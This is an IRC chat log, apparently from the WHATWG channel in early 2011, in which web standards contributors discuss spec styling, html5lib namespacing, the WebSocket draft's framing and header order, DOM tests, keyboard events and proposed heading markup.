okay. lets leave what I've got and see if there are any objections

[12:13:02.0000] <benschwarz>
that make sense, anyway

[12:13:03.0000] <benschwarz>
ie/ someone can fight me for it

[12:14:00.0000] <benschwarz>
Hixie: I just wanted to know that I was going to be removing something else important

[12:16:00.0000] <Hixie>
yeah

[12:16:01.0000] <Hixie>
originally i was gonna mention all the reflected attributes somewhere

[12:17:00.0000] <Hixie>
but i gave up since the idl was visible

[12:17:01.0000] <Hixie>
but maybe i should go through at some point and mention them again

[12:19:00.0000] <othermaciej>
abarth: I look forward to your draft

[12:19:01.0000] <abarth>
othermaciej: fette sent me the XML for this draft, i'm editing it now.  hopefully i'll have it posted later today

[12:19:02.0000] <benschwarz>
Hixie: maybe just start doing it with the new ones and sweep through over time

[12:20:00.0000] <benschwarz>
it can't hurt to have more meta in the spec

[12:20:01.0000] <benschwarz>
Hixie: did you see the *red*?

[12:20:02.0000] <Hixie>
when i do it i'll just do them all at once

[12:21:00.0000] <Hixie>
i noticed you'd changed the styles if that's what you mean :-)

[12:21:01.0000] <benschwarz>
Hixie: if you have an ipad or iphone around, give a look on those too

[12:21:02.0000] <Hixie>
btw once thing you might want to hide in the dev copy is a[href^="#refs"]

[12:21:03.0000] <Hixie>
don't have any handy

[12:22:00.0000] <benschwarz>
I did see those, they're link references that are shown in the references section?

[12:22:01.0000] <Hixie>
yeah

[12:22:02.0000] <Hixie>
they're needed in the normative copy for precision, but they make the spec a bit ugly to read

[12:22:03.0000] <benschwarz>
I was going to come up with some way to pull through the link and style it somehow

[12:22:04.0000] <Hixie>
ah that works too

[12:22:05.0000] <benschwarz>
but it all got hard quickly…

[12:22:06.0000] <Hixie>
maybe a link in the margin or something

[12:22:07.0000] <benschwarz>
I'll work something out

[12:23:00.0000] <Hixie>
most of them frankly devs just won't care

[12:23:01.0000] <benschwarz>
yeah exactly, pull the reference into an "aside"

[12:23:02.0000] <Hixie>
i'd just drop the entire references section if i were you

[12:24:00.0000] <benschwarz>
Hixie: anyway, I started reading through on my ipad last night

[12:24:01.0000] <benschwarz>
going from zero—hero with this when I'm done won't be hard

[12:25:00.0000] <benschwarz>
I want to explore adding rel="next" and rel="previous" to the table of contents and using some script to navigate on touch-based devices

[12:27:00.0000] <benschwarz>
actually, they're in the head already

[12:36:00.0000] <Hixie>
benschwarz: looking good.

[12:36:01.0000] <benschwarz>
Hixie: ok. Its 740am. I gotta get ready for the first day of work and head out. Email is good if you want to get at me

[12:36:02.0000] <Hixie>
k

[12:36:03.0000] <Hixie>
later dude

[12:36:04.0000] <Hixie>
thanks again for all the hard work!

[12:37:00.0000] <benschwarz>
Enjoying it ;)

[12:39:00.0000] <benschwarz>
Later, all.

[13:15:00.0000] <Huvet>
what's the right channel to ask about html5lib?

[13:16:00.0000] <Hixie>
here's a good place, when the right people are around

[13:16:01.0000] <Ms2ger>
Huvet, just ask

[13:19:00.0000] <Huvet>
thanks, was unsure if this was the right place: I'm trying to search the tree produced by html5lib with css selectors. This is the code I'm trying, and I'm just getting an empty array back: http://pastebin.com/CbpL6bF0 - any idea what I did wrong or where I should ask? I'm thinking this is a html5lib+lxml incompatibility

[13:19:01.0000] <gsnedders>
Huvet: You need to specify the namespace for the XPath queyr.

[13:19:02.0000] <gsnedders>
*query

[13:20:00.0000] <Huvet>
oh, yeah, things are namespaced with lxml, right

[13:20:01.0000] <Huvet>
I keep forgetting that, because "regular" css is not

[13:22:00.0000] <Huvet>
I see a warning about settings namespaceHTMLElements=False, but it seems to work: http://code.google.com/p/html5lib/issues/detail?id=138 - Bad idea?

[13:22:01.0000] <Huvet>
"Add a warning about us being broken when set to False."

[13:27:00.0000] <Huvet>
thanks btw gsnedders! :)

[13:28:00.0000] <Hixie>
css is namespaced too, it's just that the default namespace is "*" which matches everything

[13:28:01.0000] <Hixie>
("foo" in css is the same as "*|foo", which matches "foo" in all namespaces)

[13:28:02.0000] <Hixie>
(unless you explicitly declare a namespace)

[13:29:00.0000] <Huvet>
ah, so it's really a bug in lxml's parsing of css to xpath, they should add the namespace too?

[13:29:01.0000] <Hixie>
dunno, now we're out of my area of expertise :-)

[13:31:00.0000] <Huvet>
ok, but then I take it I won't break things by disabling namespaces when parsing

[14:08:00.0000] <miketaylr>
list

[14:42:00.0000] <Hixie>
abarth: make sure the key header is sent before the url header, so you can't sometimes smuggle a key header in the url

[14:42:01.0000] <Hixie>
actually, just make sure the key comes first

[14:42:02.0000] <Hixie>
since the other headers also have author-controlled values

[14:44:00.0000] <Hixie>
abarth: also, "Any status code other than 101 must be treated as a failure" should be s/must/will/ since that's an informative section

[14:44:01.0000] <Hixie>
abarth: actually there's a few more musts in that section

[14:46:00.0000] <Hixie>
christ the framing got complicated

[14:47:00.0000] <Hixie>
/me gets lost during the framing section and gives up

[15:01:00.0000] <abarth>
ok

[15:02:00.0000] <abarth>
yeah, i don't understand the framing at all

[15:10:00.0000] <othermaciej>
it seems like the framing changes took the total number of fields from 3 to 10

[15:11:00.0000] <othermaciej>
though at least 5 of those are reserved for future extensions

[15:11:01.0000] <othermaciej>
abarth: btw I'm not trying to troll you about OPTIONS, I just want Willy to put up or shut up if he has a real problem with it

[15:11:02.0000] <othermaciej>
it seems like a good idea to me

[15:34:00.0000] <Hixie>
if neither abarth nor i can understand the protocol framing at first glance, it might be worth simplifying...

[15:36:00.0000] <Hixie>
but i'll let someone else take up that battle

[15:41:00.0000] <abarth>
othermaciej: i didn't mean to change anything in the framing

[15:41:01.0000] <abarth>
othermaciej: it just used the text that ian sent me

[15:41:02.0000] <othermaciej>
abarth: I don't mean your change

[15:41:03.0000] <othermaciej>
I mean relative to the old (Hixie era) framing


2011-01-10
[23:05:00.0000] <MikeSmith>
http://code.gregjopa.com/html5/audio/tabplayer/ is pretty cool

[23:05:01.0000] <MikeSmith>
http://hacks.mozilla.org/2011/01/html5guitar/

[23:07:00.0000] <paul_irish>
that's hot

[23:09:00.0000] <MikeSmith>
oh wow

[23:09:01.0000] <MikeSmith>
little keyboard thing in Google Translate

[23:10:00.0000] <MikeSmith>
where did that come from

[23:10:01.0000] <MikeSmith>
don't remember it being there til today

[23:10:02.0000] <MikeSmith>
maybe I just didn't  notice

[23:10:03.0000] <MikeSmith>
/me tries the Korean one

[23:12:00.0000] <MikeSmith>
no Japanese one yet

[23:12:01.0000] <MikeSmith>
but then there's always http://inputking.com/

[23:13:00.0000] <MikeSmith>
which works just the same way a native platform/OS Japanese IME works

[23:19:00.0000] <MikeSmith>
/me finds http://code.google.com/apis/language/virtualkeyboard/overview.html

[23:19:01.0000] <MikeSmith>
http://code.google.com/apis/language/virtualkeyboard/v1/getting_started.html

[23:20:00.0000] <MikeSmith>
"With the Virtual Keyboard API, you can enable an onscreen keyboard on any text field or text area on your webpage"

[01:47:00.0000] <benschwarz>
Hixie: !ping

[01:50:00.0000] <Hixie>
vaguely here

[01:50:01.0000] <Hixie>
about to head to bed

[02:31:00.0000] <MikeSmith>
hsivonen: did you have a chance to look at that script-checker patch?

[02:52:00.0000] <benschwarz>
Damnit, missed Hixie's messages

[02:52:01.0000] <benschwarz>
oh well.

[02:53:00.0000] <benschwarz>
just wanted you to check the progress and intro text :)

[02:58:00.0000] <annevk>
@WHATWG still works, yay

[02:58:01.0000] <annevk>
I was wondering whether excluding editorial edits was actually necessary...

[02:59:00.0000] <MikeSmith>
I think some of supposedly editorial edits are often things other people might actually like to know about

[03:00:00.0000] <annevk>
Yeah...

[03:00:01.0000] <annevk>
Anyone else?

[03:01:00.0000] <MikeSmith>
for example, http://html5.org/r/5751

[03:01:01.0000] <MikeSmith>
"Add best-practices sections for media elements"

[03:02:00.0000] <MikeSmith>
maybe Hixie needs to add another flag to distinguish potentially interesting editorial changes from mundane ones

[03:02:01.0000] <Ms2ger>
Wasn't that @html5?

[03:02:02.0000] <Ms2ger>
http://twitter.com/html5/status/23525623414652928

[03:03:00.0000] <annevk>
@html5 has a lot of stuff

[03:03:01.0000] <annevk>
also it does not seem to filter Hixie's checkin messages

[03:03:02.0000] <MikeSmith>
yeah, and I'm considering turning of the notifications about spec changes getting retweeted there

[03:04:00.0000] <MikeSmith>
now that @whatwg is working again

[03:04:01.0000] <MikeSmith>
*turning off

[03:05:00.0000] <benschwarz>
MikeSmith: is the link that I used on the intro okay?

[03:05:01.0000] <MikeSmith>
/me looks

[03:06:00.0000] <Ms2ger>
/me likes

[03:07:00.0000] <MikeSmith>
benschwarz: I usually use http://people.w3.org/mike/ these days

[03:07:01.0000] <benschwarz>
/me is talking about http://developers.whatwg.org/

[03:07:02.0000] <MikeSmith>
but that's fine too

[03:07:03.0000] <benschwarz>
MikeSmith: I'll change it over?

[03:07:04.0000] <MikeSmith>
yeah, or I guess I should blog more

[03:08:00.0000] <benschwarz>
deploying…

[03:08:01.0000] <benschwarz>
done

[03:08:02.0000] <MikeSmith>
man the last time I wrote an actual blog entry at sideshowbarker.net was more than a year ago

[03:09:00.0000] <MikeSmith>
maybe I can hire somebody to write blog entries for me

[03:09:01.0000] <benschwarz>
make sure they're cheap

[03:10:00.0000] <benschwarz>
then I can hire them too

[03:10:01.0000] <benschwarz>
haha

[03:10:02.0000] <benschwarz>
my last was in may (the w3c one)

[03:10:03.0000] <benschwarz>
I'd drafted one when I was in japan, but never released

[03:10:04.0000] <benschwarz>
boo

[03:11:00.0000] <Ms2ger>
Might help skimming if the headings were pulled into the left margin, like the notes

[03:11:01.0000] <benschwarz>
Ms2ger: major headings are pulled left

[03:11:02.0000] <Rik`>
benschwarz: links in TOC are missing a "call to action sign" (no underline, no hover difference)

[03:11:03.0000] <benschwarz>
but I do need to properly design something. I've been just pushing the styles around that we had previously and working out how to do useful things to the splitters

[03:12:00.0000] <Ms2ger>
There's usually only one or two of those, though

[03:13:00.0000] <benschwarz>
Ms2ger: thats true, I debated about having the numbered sections, but I hid them for now

[03:13:01.0000] <benschwarz>
I might pull them back out

[03:14:00.0000] <Ms2ger>
And maybe style ul.brief differently

[03:15:00.0000] <benschwarz>
Ms2ger: where is it seen?

[03:16:00.0000] <Ms2ger>
http://developers.whatwg.org/elements.html#global-attributes

[03:18:00.0000] <jgraham>
Ms2ger: Does Web DOM Core have tests for not case folding in XHTML for e.g. createElement, getAttribute, tagName, etc.

[03:19:00.0000] <gsnedders>
jgraham: Not in the tests I wrote, at least

[03:19:01.0000] <benschwarz>
Rik`: I added a hover, for now

[03:19:02.0000] <Rik`>
benschwarz: thanks

[03:21:00.0000] <benschwarz>
I'm out for tonight. Queries? Log an issue :)

[03:21:01.0000] <benschwarz>
laters!

[03:22:00.0000] <jgraham>
/me is unhappy to see that many Web DOM Core tests abuse testharness.js, adding weight to the arguments of those who have complained about the design :(

[03:26:00.0000] <gsnedders>
jgraham: Abuse it in what way?

[03:29:00.0000] <jgraham>
gsnedders: Lots of independent tests in a single test()

[03:30:00.0000] <Ms2ger>
Blame Anne ;)

[03:30:01.0000] <Ms2ger>
And doesn't look like it

[03:31:00.0000] <jgraham>
What doesn't look like it?

[03:31:01.0000] <jgraham>
https://bitbucket.org/ms2ger/web-dom-core/src/c7135c7ce9f9/tests/Element-setAttribute.html

[03:31:02.0000] <jgraham>
Oh, you mean the original question

[03:32:00.0000] <Ms2ger>
Yeah

[03:36:00.0000] <bga_>
lol compare http://www.w3.org/TR/DOM-Level-3-Events/#events-KeyboardEvent-initKeyboardEvent and https://developer.mozilla.org/en/DOM/event.initKeyEvent

[03:37:00.0000] <bga_>
/me confused

[03:42:00.0000] <bga_>
hm http://docs.blackberry.com/en/developers/deliverables/11849/KeyboardEvent_569351_11.jsp#KeyboardEvent_initKeyboardEvent_569356_11

[03:48:00.0000] <bga_>
also there is tupo in spec

[03:49:00.0000] <bga_>
in header  initKeyboardEvent with `repeat` arg

[03:49:01.0000] <bga_>
but in details nothing `repeat` arg

[04:09:00.0000] <smaug____>
bga_: what is strange in that comparison? Gecko implements an old version DOM0 key events, DOM 3 Event (which isn't yet a recommendation) defines key events in a different way.

[04:14:00.0000] <bga_>
smaug____ i see. branching code hell.

[04:14:01.0000] <bga_>
w3c + gecko + ie

[04:15:00.0000] <smaug____>
+webkit + opera

[04:15:01.0000] <bga_>
does webkit has own implementation of KeyboardEvent interface ?

[04:16:00.0000] <smaug____>
I don't know what kind of interface it has

[04:16:01.0000] <bga_>
i see w3c's version in ch10

[04:16:02.0000] <smaug____>
Safari 5 might have something else

[04:16:03.0000] <bga_>
:(

[04:16:04.0000] <smaug____>
and DOM 3 Events may still change

[04:17:00.0000] <annevk>
DOM Core tests are not original testharness.js tests

[04:17:01.0000] <annevk>
they are ported to that format

[04:17:02.0000] <annevk>
fwiw

[04:17:03.0000] <Philip`>
bga_: Why would you expect technology as advanced and complex and keyboard input to be interoperably supported already?

[04:18:00.0000] <Philip`>
We've barely had a dozen years to understand it

[04:18:01.0000] <annevk>
I'm gonna update WebAppsTweet to also tweet for editorial changes now

[04:19:00.0000] <MikeSmith>
cool

[04:26:00.0000] <bga_>
Philip` i`m just trying  switch keyboard leds using dispatchEvent :)

[04:27:00.0000] <annevk>
http://wiki.whatwg.org/wiki/WebAppsTweet documents source code for WebAppsTweet

[04:36:00.0000] <Philip`>
bga_: Uh, that doesn't really sound like it'll ever work :-p

[04:36:01.0000] <Philip`>
since keyboard events come much later in the chain of processing than LED changes

[04:37:00.0000] <MikeSmith>
http://vl.kamibu.com/2011/01/why-webgl/

[04:42:00.0000] <annevk>
heh, MikeSmith, so friendfeed still has a non-OAuth API?

[04:42:01.0000] <annevk>
/me was looking at how @html5 solved the problem

[04:49:00.0000] <MikeSmith>
annevk: friendfeed uses OAuth for Twitter

[05:05:00.0000] <matjas>
How about this piece of markup? Price: €99 <small>(VAT included)</small>

[05:06:00.0000] <matjas>
Thoughts?

[05:07:00.0000] <annevk>
MikeSmith, oh okay

[05:07:01.0000] <matjas>
okay, annevk didn’t call me out so I’m gonna assume this is a valid use case for <small>

[05:07:02.0000] <annevk>
heh, looks fine to me :)

[05:08:00.0000] <annevk>
matjas, could file a bug to get it added to the spec if you want

[05:08:01.0000] <matjas>
will do

[05:21:00.0000] <bga_>
heh only ff returns currect Function#length for host functions

[05:23:00.0000] <schalkn>
Hi all

[05:24:00.0000] <schalkn>
A belated but Happy New Year to everyone

[06:10:00.0000] <beowulf>
is Toby Inkster about?

[06:47:00.0000] <hsivonen>
MikeSmith: I sent you email about code review

[06:48:00.0000] <MikeSmith>
thanks

[06:48:01.0000] <hsivonen>
MikeSmith: sorry for disappearing for the weekend without saying anything

[06:48:02.0000] <MikeSmith>
no problem man

[06:48:03.0000] <MikeSmith>
there's no rush on this stuff

[06:54:00.0000] <MikeSmith>
david_carlisle: just sent a reply to your e-mail message about the MathML schema

[06:55:00.0000] <MikeSmith>
I don't know why the Openmath stuff is there -- need hsivonen to comment on that

[07:07:00.0000] <david_carlisle>
MikeSmith:  thanks (although I saw the email before i saw you telling me I had an email, ii only sporadically watch the IRC still:-)

[07:07:01.0000] <MikeSmith>
OK

[07:19:00.0000] <jgraham>
Hmm, removeAttribute seems to be case-insensitive in gecko/Opera

[07:23:00.0000] <Philip`>
"The best solution for HTML5 (via tooling, education, author guidance) is to not fake text entry via canvas elements – much better native mechanisms for text editing already exist in HTML5." - hmm, seems Microsoft opinions are starting to align more and more with the cabal

[07:24:00.0000] <Workshiva>
You mean the cabal is becoming embraced and extended by Microsoft? :P

[07:26:00.0000] <hsivonen>
so I know next to nothing about scripting Flash Player...

[07:26:01.0000] <hsivonen>
Are there some JS methods that Flash Player always exposes on object elements that have loaded .swf?

[07:26:02.0000] <hsivonen>
regardless of what the .swf is?

[07:42:00.0000] <hsivonen>
/me discovers GetVariable

[08:00:00.0000] <hsivonen>
Wow. Arista and Transmageddon are so different from every other video compression app I've ever used.

[08:00:01.0000] <hsivonen>
once you choose WebM, there are no addititional tweakable settings

[08:01:00.0000] <hsivonen>
it just does something with setting the developers have deemed to be appropriate

[08:01:01.0000] <hsivonen>
which is very easy for the user

[08:01:02.0000] <hsivonen>
takes away the trouble of how to tweak the settings

[08:02:00.0000] <Rik`>
hsivonen: Miro convertor does that too ?

[08:02:01.0000] <Philip`>
That's no fun

[08:03:00.0000] <Philip`>
What's the point in encoding videos if it doesn't give you an opportunity to play with exciting strings like -vcodec libx264 -vpre slow -bf 0 -crf 25 -acodec libfaac -ac 2 -ar 48000 -ab 192k which you don't understand and have to randomly tweak until they look like they're probably working?

[10:24:00.0000] <paul_irish>
is anyone familiar with the `target` style property? apparent use: a { target: new front; }

[10:24:01.0000] <TabAtkins>
Defined in the link behavior draft (I think that's the right name...).  No one implemented it, it's been dead for years.

[10:24:02.0000] <paul_irish>
thx tab.

[10:26:00.0000] <Ms2ger>
Not even Opera?

[10:26:01.0000] <TabAtkins>
Don't think so.

[10:27:00.0000] <paul_irish>
i learned about it from w3schools http://www.w3schools.com/css3/css3_pr_target.asp ;)

[10:28:00.0000] <TabAtkins>
Ah, found the original spec: http://www.w3.org/TR/css3-hyperlinks/

[10:32:00.0000] <Ms2ger>
Doesn't look like it, indeed

[10:35:00.0000] <Ms2ger>
Also, doesn't seem like anybody whined about Opera implementing -apple-dashboard-region

[10:35:01.0000] <TabAtkins>
...

[10:35:02.0000] <TabAtkins>
Can I whine about it now?

[10:35:03.0000] <Ms2ger>
Certainly

[10:36:00.0000] <Peter`>
I whined about WebKit implementing -apple-dashboard-region :/

[11:02:00.0000] <othermaciej>
why in the world would Opera implement -apple-dashboard-region?

[11:02:01.0000] <othermaciej>
it does nothing in Safari

[11:05:00.0000] <gsnedders>
othermaciej: It only does something in the Widget Runtime

[11:05:01.0000] <othermaciej>
does the Widget Runtime attempt to run Dashboard widgets?

[11:05:02.0000] <othermaciej>
(as opposed to W3C widgets)

[11:08:00.0000] <gsnedders>
AFAIK no.

[11:21:00.0000] <othermaciej>
then I can't imagine a reason to copy the vendor prefix or even the syntax...

[11:34:00.0000] <AryehGregor>
/me stops arguing with Bjartur

[11:48:00.0000] <AryehGregor>
Does anyone know of a way to get Live DOM Viewer to work in IE9?

[11:48:01.0000] <AryehGregor>
The XSS protection blocks saved links.

[11:49:00.0000] <AryehGregor>
Actually, it completely disables the functionality.

[12:04:00.0000] <AryehGregor>
Ms2ger, is there some way to create a Range object other than selection.getRangeAt() or range.cloneRange()?

[12:05:00.0000] <Ms2ger>
document.createRange?

[12:05:01.0000] <AryehGregor>
Ah, thanks.

[12:16:00.0000] <Hixie>
 btw if anyone sees issues in developers.whatwg.org, ben's asked us to file them in https://github.com/benschwarz/developers.whatwg.org/issues

[12:19:00.0000] <annevk>
http://twitter.com/WHATWG/status/24561930723131393

[12:19:01.0000] <annevk>
and with that I'm off to bed

[12:26:00.0000] <foolip_>
Hixie, could you add a redirect from http://www.whatwg.org/specs/web-apps/current-work/multipage/microdata.html to http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#microdata ? My links are broken :(

[12:28:00.0000] <beowulf>
Hixie: shouldn't the nav be in the header?

[12:44:00.0000] <AryehGregor>
Ms2ger, if you're familiar with Firefox's Selection implementation, could you comment on this?  http://www.w3.org/Bugs/Public/show_bug.cgi?id=10624

[12:44:01.0000] <AryehGregor>
I'm not sure what Firefox is doing here.

[12:44:02.0000] <Ms2ger>
Not at all, but I can read the source

[12:44:03.0000] <AryehGregor>
Ah.

[12:48:00.0000] <AryehGregor>
Do you know who I could ask?

[12:49:00.0000] <Rik`>
anyone know the status of user-select: none ?

[12:50:00.0000] <Rik`>
i see it in a previous draft of css3-ui but nothing in the latest one

[12:50:01.0000] <Ms2ger>
ehsan on Mozilla IRC, looks like

[12:52:00.0000] <Ms2ger>
Oh, and Gecko indeed has a direction member

[12:52:01.0000] <TabAtkins>
Rik`: I'd ask tantek.

[12:53:00.0000] <Hixie>
foolip_: i think Philip` is the one who can help with that

[12:53:01.0000] <foolip_>
Philip`, ^ ?

[12:55:00.0000] <Ms2ger>
And extend() looks like a whole new world of hurt

[12:56:00.0000] <Hixie>
beowulf: ben's the one who is setting it up

[12:57:00.0000] <Philip`>
foolip_: http://www.whatwg.org/specs/web-apps/current-work/multipage/microdata.html does redirect for me

[12:57:01.0000] <Philip`>
after a few seconds

[12:58:00.0000] <Philip`>
(The 404 page has scripts to do that)

[12:58:01.0000] <foolip_>
Philip`, but first you see 404 for a while

[12:58:02.0000] <beowulf>
Hixie: 'k, ta

[12:58:03.0000] <Philip`>
foolip_: Yeah, I think anything else would need server-side support, and that would be Hixie's responsibility ;-)

[12:58:04.0000] <Hixie>
foolip_: it can't easily be done at the server level because the server doesn't have the fragment identifier

[12:59:00.0000] <foolip_>
Hixie, oh, didn't know you had redirects like that too

[12:59:01.0000] <Hixie>
Philip`: if you have a list of permanent redirects for page-level updates, stick them in a file in the tarball and i'll merge it into the .htaccess file (the html files still do the fragid redirects right?)

[13:00:00.0000] <foolip_>
hrm, I don't suppose the script could be run earlier in <head> so that one doesn't get to see the 404 message? I instantly close 404 pages without waiting for the second or whatever this took

[13:00:01.0000] <Hixie>
i can make the 404 page not look like a 404 page

[13:00:02.0000] <Hixie>
file a bug

[13:00:03.0000] <jgraham>
1

[13:01:00.0000] <jgraham>
Erm...

[13:01:01.0000] <Ms2ger>
2

[13:01:02.0000] <Hixie>
2?

[13:01:03.0000] <Philip`>
Hixie: The list is http://www.whatwg.org/specs/web-apps/current-work/multipage/fragment-links.js

[13:01:04.0000] <Ms2ger>
Great minds think alike...

[13:01:05.0000] <Ms2ger>
And sick minds, too?

[13:01:06.0000] <Philip`>
Hixie: and the 404 page for foo.html looks up foo in that list, and goes to whatever.html#foo

[13:01:07.0000] <Philip`>
Hixie: for any foo (they're not known in advance)

[13:02:00.0000] <Hixie>
Philip`: ah

[13:02:01.0000] <Hixie>
k well then that leaves making the 404 page less of a 404-looking page

[13:02:02.0000] <Hixie>
i can do that

[13:02:03.0000] <Hixie>
file a bug if you want it

[13:02:04.0000] <Hixie>
bbiab, lunch

[13:07:00.0000] <foolip_>
very exciting bug filed: http://www.w3.org/Bugs/Public/show_bug.cgi?id=11722

[13:08:00.0000] <foolip_>
before I go on a coding rampage, does anyone have tools to notify you of changes to particular sections of the spec? For example, I'd like to be notified automatically when the <video> section changes, among others

[13:17:00.0000] <jgraham>
foolip_: You plan to implement that? I would really like it :)

[13:18:00.0000] <foolip_>
jgraham, well, I really want it, but I was hoping someone else would have it

[13:19:00.0000] <foolip_>
jgraham, one simple way to do it is to remove the section you want to follow in git and keep moving that patch along until it conflicts, for example

[13:20:00.0000] <foolip_>
s/git/your favorite VCS/

[13:21:00.0000] <cying>
if i want to start manipulating a DOM, do i need to wait for the DOMContentLoaded event?

[13:21:01.0000] <jgraham>
foolip_: That sounds like a clever hack but not quite like an elegant solution :)

[13:21:02.0000] <jgraham>
cying: No

[13:21:03.0000] <gsnedders>
cying: No.

[13:21:04.0000] <cying>
(if the DOM content is inlined)

[13:21:05.0000] <Philip`>
foolip_: That sounds kind of indirect - why not just cut out the section you want using regexps, and diff it each time to see what changed?

[13:21:06.0000] <jgraham>
gsnedders: That extra period cost you

[13:22:00.0000] <cying>
jgraham: gsnedders: so i can just start manipulating it in javascript without waiting for anything?

[13:22:01.0000] <jgraham>
cying: Well it has to be loaded

[13:22:02.0000] <foolip_>
Philip`, something like that was my second idea

[13:22:03.0000] <foolip_>
for some reason my first idea usually involves git

[13:22:04.0000] <Philip`>
foolip_: As a bonus, it doesn't involve git

[13:23:00.0000] <jgraham>
<!-- initial dom --><script><!-- I can manipulate anything in initial dom --></script><!-- final dom -->

[13:23:01.0000] <cying>
jgraham: is that an event? or do you just mean that the DOM comes from inlined markup before the script?

[13:23:02.0000] <cying>
jgraham: ahhh

[13:23:03.0000] <jgraham>
cying: The lattter

[13:23:04.0000] <cying>
ahhh

[13:23:05.0000] <cying>
cool!

[13:23:06.0000] <gsnedders>
cying: You can rely upon everything up to and including the script element being executed being in the DOM, but nothing more

[13:24:00.0000] <cying>
gsnedders: ah! that must be written somewhere i bet

[13:24:01.0000] <jgraham>
Yes, that's true, you can manipulate the script itself if you are evil

[13:24:02.0000] <gsnedders>
jgraham: That won't cause it to run again, though, no?

[13:24:03.0000] <jgraham>
No

[13:25:00.0000] <jgraham>
Unless changing the src has that effect?

[13:25:01.0000] <jgraham>
(for an external script)

[13:25:02.0000] <cying>
fascinating!

[13:25:03.0000] <jgraham>
But I think it doesn't

[13:51:00.0000] <Hixie>
foolip_: i don't think we have any section-specific following stuff, but it would be interesting if someone set that up.

[13:51:01.0000] <Hixie>
foolip_: part of the problem is knowing how to define a section, since i often move stuff around

[14:16:00.0000] <jgraham>
me, I might try using an html parser and the document structure to find my way around. Not that easy to get from a line-based diff to "did this section change" of course, but possible

[14:20:00.0000] <jgraham>
Also, what is the disadvantage of replacing <hgroup> with <h1>Main heading <subhead>Subheading</subhead></h1>

[14:21:00.0000] <jgraham>
?

[14:21:01.0000] <TabAtkins>
That feels weird.

[14:22:00.0000] <jgraham>
TabAtkins: It seems to be equivalent to me, albeit with slighly different legacy fallback semantics

[14:23:00.0000] <jgraham>
Maybe it is bad if we ever get a :heading selector though

[14:23:01.0000] <jgraham>
Since we would want that to not match the subheading (presumably)

[14:23:02.0000] <TabAtkins>
Actually, I think we would want it to match.

[14:24:00.0000] <TabAtkins>
The subheading is still part of the heading.

[14:24:01.0000] <jgraham>
So you would do :heading(n) and :heading(n) > subhead ?

[14:25:00.0000] <jgraham>
To style the two parts

[14:25:01.0000] <TabAtkins>
Yeah, with that structure.  Similar with <hgroup>.

[14:25:02.0000] <jgraham>
It's harder with hgroup, I think

[14:25:03.0000] <TabAtkins>
Hm.  Benefit of <subhead> in that context is that it's a single element, so you don't need to remember what precise heading level was used.

[14:25:04.0000] <jgraham>
Yeah

[14:25:05.0000] <oojacoboo>
hixie, like the new spec look :)

[14:26:00.0000] <Hixie>
you mean developers.whatwg.org?

[14:26:01.0000] <Hixie>
that's all ben's work

[14:26:02.0000] <oojacoboo>
ah

[14:26:03.0000] <oojacoboo>
http://simon.html5.org/html5-elements

[14:26:04.0000] <oojacoboo>
I use that, so, I guess he switched it over to the developers.whatwg.org domain

[14:26:05.0000] <Hixie>
yeah

[14:26:06.0000] <jgraham>
And it is more obvious what :heading should match (no question if it is the <hgroup> or the actual heading)

[14:26:07.0000] <TabAtkins>
jgraham: Indeed.  Hm, okay, I'm liking your idea better now.

[14:27:00.0000] <Hixie>
jgraham: i still occasionally get 500s when genning the spec with the w3c annotations

[14:28:00.0000] <Hixie>
jgraham: fwiw

[14:28:01.0000] <Hixie>
jgraham: dunno if you care (i just restart my script and that seems to fix it usually)

[14:28:02.0000] <TabAtkins>
<3 @WHATWG being back up.

[14:28:03.0000] <jamesr_>
TabAtkins: i'm working on something like https://developer.mozilla.org/en/DOM/window.mozRequestAnimationFrame for webkit and will want to move towards standardizing it. where would something like this be defined?

[14:29:00.0000] <Hixie>
TabAtkins: all annevk's work :-)

[14:29:01.0000] <TabAtkins>
jamesr_: You mean which standards body?

[14:29:02.0000] <Hixie>
jamesr_: sounds like a cssom thing

[14:29:03.0000] <Hixie>
jamesr_: annevk's baby

[14:30:00.0000] <jgraham>
Hixie: I expect it times out sometimes

[14:30:01.0000] <jamesr_>
TabAtkins: more wondering what it would fall under

[14:30:02.0000] <jgraham>
But I could check the logs I guess

[14:30:03.0000] <jamesr_>
there's nothing css-specific about it really

[14:30:04.0000] <Hixie>
jamesr_: CSSOM isn't CSS-specific

[14:30:05.0000] <TabAtkins>
jamesr_: That's a hard one.

[14:30:06.0000] <jamesr_>
Hixie: o.O

[14:31:00.0000] <Hixie>
jamesr_: it's just where media-dependent DOM features go

[14:32:00.0000] <jamesr_>
why's it called CSSOM then?

[14:33:00.0000] <Hixie>
historical reasons

[14:33:01.0000] <Hixie>
same reason Window is specced in a spec that claims to be HTML

[14:44:00.0000] <roc>
jamesr_: heycam already wrote something BTW

[14:46:00.0000] <jgraham>
/me wonders if we can have pretty styles for the implementor version of the spec

[14:47:00.0000] <jgraham>
Although not with the serif typefaces

[14:48:00.0000] <TabAtkins>
Boo at serifs outside of headings.

[14:51:00.0000] <oojacoboo>
what's the thought behind not allowing form elements to be styled in any consistent manner

[14:51:01.0000] <TabAtkins>
The thought is that tantek is working on it.

[14:51:02.0000] <TabAtkins>
Also: form elements are displayed differently in different browsers/OSes.

[14:51:03.0000] <paul_irish>
https://wiki.mozilla.org/Tantek-Mozilla-projects#Styling_HTML5_UI_elements

[14:51:04.0000] <TabAtkins>
Frex, check out a <select multiple> in Opera Mobile.

[14:51:05.0000] <oojacoboo>
TabAtkins: that doesn't have to be the case

[14:52:00.0000] <Hixie>
jgraham: got to be honest, personally i think the developers edition styles are unusable and love the whatwg spec styles :-)

[14:52:01.0000] <Hixie>
jgraham: but if you have any suggestions as to what would make the spec more usable, let me know

[14:52:02.0000] <TabAtkins>
oojacoboo: But... it *is* the case.

[14:53:00.0000] <oojacoboo>
TabAtkins: if that's the attitude everyone took, where will we be tomorrow?

[14:53:01.0000] <TabAtkins>
The question is where we are *today*.  And today we are in a world where form elements are displayed differently in different browsers and OSes.

[14:54:00.0000] <TabAtkins>
And today I'm willing to let tantek solve that problem.

[14:54:01.0000] <oojacoboo>
so, the answer is, that someone is working on a consistent styling spec for form elements?

[14:55:00.0000] <oojacoboo>
or that no one gives a shit, and the way it currently is, is the way it is and will be

[14:55:01.0000] <TabAtkins>
Yes.  Tantek.

[14:55:02.0000] <jgraham>
Hixie: I think the problem is it depends on the use case. Sometime I would really like narrower columns for easier reading. Sometimes I want as much on the screen as possible

[14:55:03.0000] <jgraham>
Alternative style sheets are not a good solution here :)

[14:58:00.0000] <heycam>
/me moves requestAnimationFrame higher up his mental todo list

[15:02:00.0000] <Hixie>
jgraham: why would alt ss not be a good solution?

[15:02:01.0000] <Hixie>
